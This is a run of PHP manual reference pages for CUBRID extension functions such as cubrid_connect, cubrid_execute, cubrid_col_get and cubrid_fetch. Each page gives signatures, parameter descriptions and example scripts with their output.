   echo "connected successfully";
   $req = cubrid_execute ( $con, "select * from members",
                           CUBRID_INCLUDE_OID | CUBRID_ASYNC);
   if ($req) {
      while ( list ($id, $name) = cubrid_fetch ($req) ){
         echo $id;
         echo $name;
      }
      cubrid_close_prepare($req); // or you can use cubrid_close_request($req)
   }
   cubrid_disconnect($con);
}
?>

See Also

  • cubrid_close_request() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.
cubrid_bind
cubrid_close_request
CUBRID Functions


Close the request handle

cubrid_close_prepare
cubrid_col_get
CUBRID Functions
PHP Manual

cubrid_close_request

(PECL CUBRID >= 8.3.0)

cubrid_close_request — Close the request handle

Description

bool cubrid_close_request ( resource $req_identifier )

The cubrid_close_request() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is a alias of cubrid_close_prepare().

Parameters

req_identifier

Request identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_close_request() example

<?php
$con = cubrid_connect ("dbsvr.cubrid.com", 12345, "demodb");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "select * from members",
                           CUBRID_INCLUDE_OID | CUBRID_ASYNC);
   if ($req) {
      while ( list ($id, $name) = cubrid_fetch ($req) ){
         echo $id;
         echo $name;
      }
      cubrid_close_requst($req); // or you can use cubrid_close_prepare($req)
   }
   cubrid_disconnect($con);
}
?>

See Also

  • cubrid_close_prepare() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.
cubrid_close_prepare
cubrid_col_get
CUBRID Functions


Get contents of collection type column using OID

cubrid_close_request
cubrid_col_size
CUBRID Functions
PHP Manual

cubrid_col_get

(PECL CUBRID >= 8.3.0)

cubrid_col_get — Get contents of collection type column using OID

Description

array cubrid_col_get ( resource $conn_identifier , string $oid , string $attr_name )

The cubrid_col_get() function is used to get contents of the elements of the collection type (set, multiset, sequence) attribute you requested as an array.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr_name

Attribute name that you want to read from the instance.

Return Values

Array (0-based numerical array) containing the elements you requested, when process is successful;

FALSE (to distinguish the error from the situation of attribute having empty collection or NULL, in case of error, a warning message is shown; in such case you can check the error by using cubrid_error_code()), when process is unsuccessful.

Examples

Example #1 cubrid_col_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.
cubrid_close_request
cubrid_col_size
CUBRID Functions


Get the number of elements in collection type column using OID

cubrid_col_get
cubrid_column_names
CUBRID Functions
PHP Manual

cubrid_col_size

(PECL CUBRID >= 8.3.0)

cubrid_col_size — Get the number of elements in collection type column using OID

Description

int cubrid_col_size ( resource $conn_identifier , string $oid , string $attr_name )

The cubrid_col_size() function is used to get the number of elements in a collection type (set, multiset, sequence) attribute.

Parameters

conn_identifier

Connection identifier.

oid

OID the instance that you want to work with.

attr_name

Name of the attribute that you want to work with.

Return Values

Number of elements, when process is successful.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

Examples

Example #1 cubrid_col_size() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.
cubrid_col_get
cubrid_column_names
CUBRID Functions


Get the column names in result

cubrid_col_size
cubrid_column_types
CUBRID Functions
PHP Manual

cubrid_column_names

(PECL CUBRID >= 8.3.0)

cubrid_column_names — Get the column names in result

Description

array cubrid_column_names ( resource $req_identifier )

The cubrid_column_names() function is used to get the column names of the query result by using req_identifier.

Parameters

req_identifier

Request identifier.

Return Values

Array of string which containing column names, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_column_names() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

The above example will output:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char(3)                        3
medal                          char(1)                        1
game_date                      date                           10

See Also

  • cubrid_prepare() - Prepare an SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_column_types() - Get column types in result

User Contributed Notes

There are no user contributed notes for this page.
cubrid_col_size
cubrid_column_types
CUBRID Functions


Get column types in result

cubrid_column_names
cubrid_commit
CUBRID Functions
PHP Manual

cubrid_column_types

(PECL CUBRID >= 8.3.0)

cubrid_column_types — Get column types in result

Description

array cubrid_column_types ( resource $req_identifier )

The cubrid_column_types() function gets column types of query results by using req_identifier.

Parameters

req_identifier

Request identifier.

Return Values

Array of string which containing column types, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_column_types() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

The above example will output:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char(3)                        3
medal                          char(1)                        1
game_date                      date                           10

See Also

  • cubrid_column_names() - Get the column names in result
  • cubrid_prepare() - Prepare an SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.
cubrid_column_names
cubrid_commit
CUBRID Functions


Commit a transaction

cubrid_column_types
cubrid_connect_with_url
CUBRID Functions
PHP Manual

cubrid_commit

(PECL CUBRID >= 8.3.0)

cubrid_commit — Commit a transaction

Description

bool cubrid_commit ( resource $conn_identifier )

The cubrid_commit() function is used to execute commit on the transaction pointed by conn_identifier, currently on progress. Connection to the server is closed after the cubrid_commit() function is called; the connection handle is still valid, however.

In CUBRID PHP, an auto-commit mode is disabled by default for transaction management, and you can set it by using cubrid_set_autocommit(), and get its status by using cubrid_get_autocommit(). Before you start a transaction, remember to disable the auto-commit mode.

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_commit() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;

if (!cubrid_execute($conn, $sql)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
    cubrid_bind($req, 1, $id_list[$i]);
    cubrid_bind($req, 2, $name_list[$i]);
    cubrid_bind($req, 3, $city_list[$i]);
    cubrid_bind($req, 4, $state_list[$i]);
    cubrid_bind($req, 5, $country_list[$i]);

    if (!($ret = cubrid_execute($req))) {
        break;
    }
}

if (!$ret) {
    cubrid_rollback($conn);
} else {
    cubrid_commit($conn);

    $req = cubrid_execute($conn, "SELECT * FROM publishers");
    while ($result = cubrid_fetch_assoc($req)) {
        printf("%-3s %-20s %-15s %-3s %-15s\n",
            $result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
    }
}

cubrid_disconnect($conn);
?>

The above example will output:

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

See Also

  • cubrid_rollback() - Roll back a transaction
  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_column_types
cubrid_connect_with_url
CUBRID Functions


Establish the environment for connecting to CUBRID server

cubrid_commit
cubrid_connect
CUBRID Functions
PHP Manual

cubrid_connect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_connect_with_url — Establish the environment for connecting to CUBRID server

Description

resource cubrid_connect_with_url ( string $conn_url [, string $userid [, string $passwd [, bool $new_link = false ]]] )

The cubrid_connect_with_url() function is used to establish the environment for connecting to your server by using connection information passed with an url string argument. If the HA feature is enabled in CUBRID, you must specify the connection information of the standby server, which is used for failover when failure occurs, in the url string argument of this function. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]
<properties> ::= <property> [&<property>]
<properties> ::= autocommit=<autocommit_mode>
<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]
<host> := HOSTNAME | IP_ADDR
<time> := SECOND

or <url> ::= cci:CUBRID:<host>:<db_name>:......

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • autocommit : The database connection auto-commit mode
  • alhosts: Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.

Parameters

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

new_link

If a second call is made to cubrid_connect_with_url() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect_with_url() always open a new connection, even if cubrid_connect_with_url() was called before with the same parameters.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_connect_with_url() url without properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33088:demodb:dba:123456:?autocommit=off"
$con = cubrid_connect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

Example #2 cubrid_connect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33088:demodb:dba:123456:?autocommit=off&althost=10.34.63.132:33088&rctime=100"
$con = cubrid_connect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_commit
cubrid_connect
CUBRID Functions


Open a connection to a CUBRID Server

cubrid_connect_with_url
cubrid_current_oid
CUBRID Functions
PHP Manual

cubrid_connect

(PECL CUBRID >= 8.3.1)

cubrid_connect — Open a connection to a CUBRID Server

Description

resource cubrid_connect ( string $host , int $port , string $dbname [, string $userid [, string $passwd [, bool $new_link = false ]]] )

The cubrid_connect() function is used to establish the environment for connecting to your server by using your server address, port number, database name, user name, and password. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

Parameters

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database.

passwd

User password.

new_link

If a second call is made to cubrid_connect() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect() always open a new connection, even if cubrid_connect() was called before with the same parameters.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33000, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

The above example will output:

CUBRID PHP Version:            8.3.1.0005

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              0

Server Info:                   8.3.1.0173
Client Info:                   8.3.1

CUBRID Charset:                iso8859-1

See Also

  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_connect_with_url
cubrid_current_oid
CUBRID Functions


Get OID of the current cursor location

cubrid_connect
cubrid_disconnect
CUBRID Functions
PHP Manual

cubrid_current_oid

(PECL CUBRID >= 8.3.0)

cubrid_current_oid — Get OID of the current cursor location

Description

string cubrid_current_oid ( resource $req_identifier )

The cubrid_current_oid() function is used to get the oid of the current cursor location from the query result. To use cubrid_current_oid(), the query executed must be a updatable query, and the CUBRID_INCLUDE_OID option must be included during the query execution.

Parameters

req_identifier

Request identifier.

Return Values

Oid of current cursor location, when process is successful

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_current_oid() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$res = cubrid_get($conn, $oid);

print_r($res);

cubrid_disconnect($conn);
?>

The above example will output:

Array
(
    [s_name] => X
    [f_name] => Mixed
)

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.
cubrid_connect
cubrid_disconnect
CUBRID Functions


Close a database connection

cubrid_current_oid
cubrid_drop
CUBRID Functions
PHP Manual

cubrid_disconnect

(PECL CUBRID >= 8.3.0)

cubrid_disconnect — Close a database connection

Description

bool cubrid_disconnect ( resource $conn_identifier )

The cubrid_disconnect() function closes the connection handle and disconnects from server. If there exists any request handle not closed yet at this point, it will be closed. It is similar to the CUBRID MySQL compatible function cubrid_close().

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_disconnect() example

<?php
$con = cubrid_connect ("210.211.133.100", 12345, "demodb");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute( $con, "insert into person values(1,'James')");
   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }
   cubrid_disconnect($con);
}
?>

See Also

  • cubrid_close() - Close CUBRID connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.
cubrid_current_oid
cubrid_drop
CUBRID Functions


Delete an instance using OID

cubrid_disconnect
cubrid_error_code_facility
CUBRID Functions
PHP Manual

cubrid_drop

(PECL CUBRID >= 8.3.0)

cubrid_drop — Delete an instance using OID

Description

bool cubrid_drop ( resource $conn_identifier , string $oid )

The cubrid_drop() function is used to delete an instance from database by using oid.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the instance that you want to delete.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("--- Before Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

if (cubrid_drop($conn, $oid)) {
    cubrid_commit($conn);
} else {
    cubrid_rollback($conn);
}

cubrid_close_request($req);

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("\n--- After Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

--- Before Drop: ---
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

--- After Drop: ---
array(4) {
  ["a"]=>
  string(1) "2"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "4"
    [1]=>
    string(1) "5"
    [2]=>
    string(1) "7"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "44"
    [1]=>
    string(2) "55"
    [2]=>
    string(2) "66"
    [3]=>
    string(3) "666"
  }
  ["d"]=>
  string(10) "b         "
}

See Also

  • cubrid_is_instance() - Check whether the instance pointed by OID exists

User Contributed Notes

There are no user contributed notes for this page.
cubrid_disconnect
cubrid_error_code_facility
CUBRID Functions


Get the facility code of error

cubrid_drop
cubrid_error_code
CUBRID Functions
PHP Manual

cubrid_error_code_facility

(PECL CUBRID >= 8.3.0)

cubrid_error_code_facility — Get the facility code of error

Description

int cubrid_error_code_facility ( void )

The cubrid_error_code_facility() function is used to get the facility code (level in which the error occurred) from the error code of the error that occurred during the API execution. Usually, you can get the error code when API returns false as its return value.

Parameters

This function has no parameters.

Return Values

Facility code of the error code that occurred: CUBRID_FACILITY_DBMS, CUBRID_FACILITY_CAS, CUBRID_FACILITY_CCI, CUBRID_FACILITY_CLIENT

Examples

Example #1 cubrid_error_code_facility() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = @cubrid_execute($conn, "SELECT * FROM unknown");
if (!$req) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

The above example will output:

Error facility: 1
Error code: -493
Error msg: Syntax: syntax error, unexpected UNKNOWN

See Also

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.
cubrid_drop
cubrid_error_code
CUBRID Functions


Get error code for the most recent function call

cubrid_error_code_facility
cubrid_error_msg
CUBRID Functions
PHP Manual

cubrid_error_code

(PECL CUBRID >= 8.3.0)

cubrid_error_code — Get error code for the most recent function call

Description

int cubrid_error_code ( void )

The cubrid_error_code() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

Parameters

This function has no parameters.

Return Values

Error code of the error that occurred, or 0 (zero) if no error occurred.

Examples

Example #1 cubrid_error_code() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_prepare($conn , "SELECT * FROM code WHERE s_name=?");

$req = @cubrid_execute($req);
if (!$req) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

The above example will output:

Error facility: 4
Error code: -2015
Error msg: Some parameter not binded

See Also

  • cubrid_error_code_facility() - Get the facility code of error
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.
cubrid_error_code_facility
cubrid_error_msg
CUBRID Functions


Get last error message for the most recent function call

cubrid_error_code
cubrid_execute
CUBRID Functions
PHP Manual

cubrid_error_msg

(PECL CUBRID >= 8.3.0)

cubrid_error_msg — Get last error message for the most recent function call

Description

string cubrid_error_msg ( void )

The cubrid_error_msg() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

Parameters

This function has no parameters.

Return Values

Error message that occurred.

Examples

Example #1 cubrid_error_msg() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

if (!@cubrid_schema($conn, 100000)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

The above example will output:

Error facility: 2
Error code: -1015
Error msg: Invalid T_CCI_SCH_TYPE value

See Also

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.
cubrid_error_code
cubrid_execute
CUBRID Functions


Execute a prepared SQL statement

cubrid_error_msg
cubrid_fetch
CUBRID Functions
PHP Manual

cubrid_execute

(PECL CUBRID >= 8.3.0)

cubrid_execute — Execute a prepared SQL statement

Description

resource cubrid_execute ( resource $conn_identifier , string $sql [, int $option ] )
bool cubrid_execute ( resource $request_identifier [, int $option ] )

The cubrid_execute() function is used to execute the given SQL statement. It executes the query by using conn_identifier and SQL, and then returns the request identifier created. It is used for simple execution of query, where the parameter binding is not needed. In addition, the cubrid_execute() function is used to execute the prepared statement by means of cubrid_prepare() and cubrid_bind(). At this time, you need to specify arguments of request_identifier and option.

The option is used to determine whether to get OID after query execution and whether to execute the query in synchronous or asynchronous mode. CUBRID_INCLUDE_OID and CUBRID_ASYNC (or CUBRID_EXEC_QUERY_ALL if you want to execute multiple SQL statements) can be specified by using a bitwise OR operator. If not specified, neither of them isselected. If the flag CUBRID_EXEC_QUERY_ALL is set, a synchronous mode (sync_mode) is used to retrieve query results, and in such cases the following rules are applied:

  • The return value is the result of the first query.
  • If an error occurs in any query, the execution is processed as a failure.
  • For a query composed of in a query composed of q1 q2 q3 if an error occurs in q2 after q1 succeeds the execution, the result of q1 remains valid. That is, the previous successful query executions are not rolled back when an error occurs.
  • If a query is executed successfully, the result of the second query can be obtained using cubrid_next_result().

If the first argument is request_identifier to execute the cubrid_prepare() function, you can specify an option, CUBRID_ASYNC only.

Parameters

conn_identifier

Connection identifier.

sql

SQL to be executed.

option

Query execution option CUBRID_INCLUDE_OID, CUBRID_ASYNC, CUBRID_EXEC_QUERY_ALL.

request_identifier

cubrid_prepare() identifier.

Return Values

Request identifier, when process is successful and first param is conn_identifier; TRUE, when process is successful and first argument is request_identifier.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.4.0 | Add new option CUBRID_EXEC_QUERY_ALL.

Examples

Example #1 cubrid_execute() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE name='100m Butterfly' and gender='M'", CUBRID_ASYNC);
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$history_req = cubrid_prepare($conn, "SELECT * FROM history WHERE event_code=?");
cubrid_bind($history_req, 1, $event_code, "number");
cubrid_execute($history_req);

printf("%-20s %-9s %-10s %-5s\n", "athlete", "host_year", "score", "unit");
while ($row = cubrid_fetch_array($history_req, CUBRID_ASSOC)) {
    printf("%-20s %-9s %-10s %-5s\n",
        $row["athlete"], $row["host_year"], $row["score"], $row["unit"]);
}

cubrid_close_request($history_req);

cubrid_disconnect($conn);
?>

The above example will output:

athlete              host_year score      unit
Phelps Michael       2004      51.25      time

See Also

  • cubrid_prepare() - Prepare an SQL statement for execution
  • cubrid_bind() - Bind variables to a prepared statement as parameters
  • cubrid_next_result() - Get result of next query when executing multiple SQL statements
  • cubrid_close_request() - Close the request handle
  • cubrid_commit() - Commit a transaction
  • cubrid_rollback() - Roll back a transaction

User Contributed Notes

There are no user contributed notes for this page.
cubrid_error_msg
cubrid_fetch
CUBRID Functions


Fetch the next row from a result set

cubrid_execute
cubrid_free_result
CUBRID Functions
PHP Manual

cubrid_fetch

(PECL CUBRID >= 8.3.0)

cubrid_fetch — Fetch the next row from a result set

Description

mixed cubrid_fetch ( resource $result [, int $type = CUBRID_BOTH ] )

The cubrid_fetch() function is used to get a single row from the query result. The cursor automatically moves to the next row after getting the result.

Parameters

result

result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH, CUBRID_OBJECT.

Return Values

Result array or object, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

The result can be received either as an array or as an object, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)
  • CUBRID_OBJECT : object that has the attribute name as the column name of query result

When type argument is omitted, the result will be received using CUBRID_BOTH option as default. When you want to receive query result in object data type, the column name of the result must obey the naming rules for identifiers in PHP. For example, column name such as "count(*)" cannot be received in object type.

Examples

Example #1 cubrid_fetch() example

<?php
$conn = cubrid_connect("localhost", 33088, "demodb");
$req = cubrid_execute($conn, "SELECT * FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch($req)) {
    printf("%-40s %-10s %-6s %-20s\n",
        $row["name"], $row["area"], $row["seats"], $row["address"]);
}

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.
cubrid_execute
cubrid_free_result
CUBRID Functions


Free the memory occupied by the result data

cubrid_fetch
cubrid_get_autocommit
CUBRID Functions
PHP Manual

cubrid_free_result

(PECL CUBRID >= 8.3.0)

cubrid_free_result — Free the memory occupied by the result data

Description

bool cubrid_free_result ( resource $req_identifier )

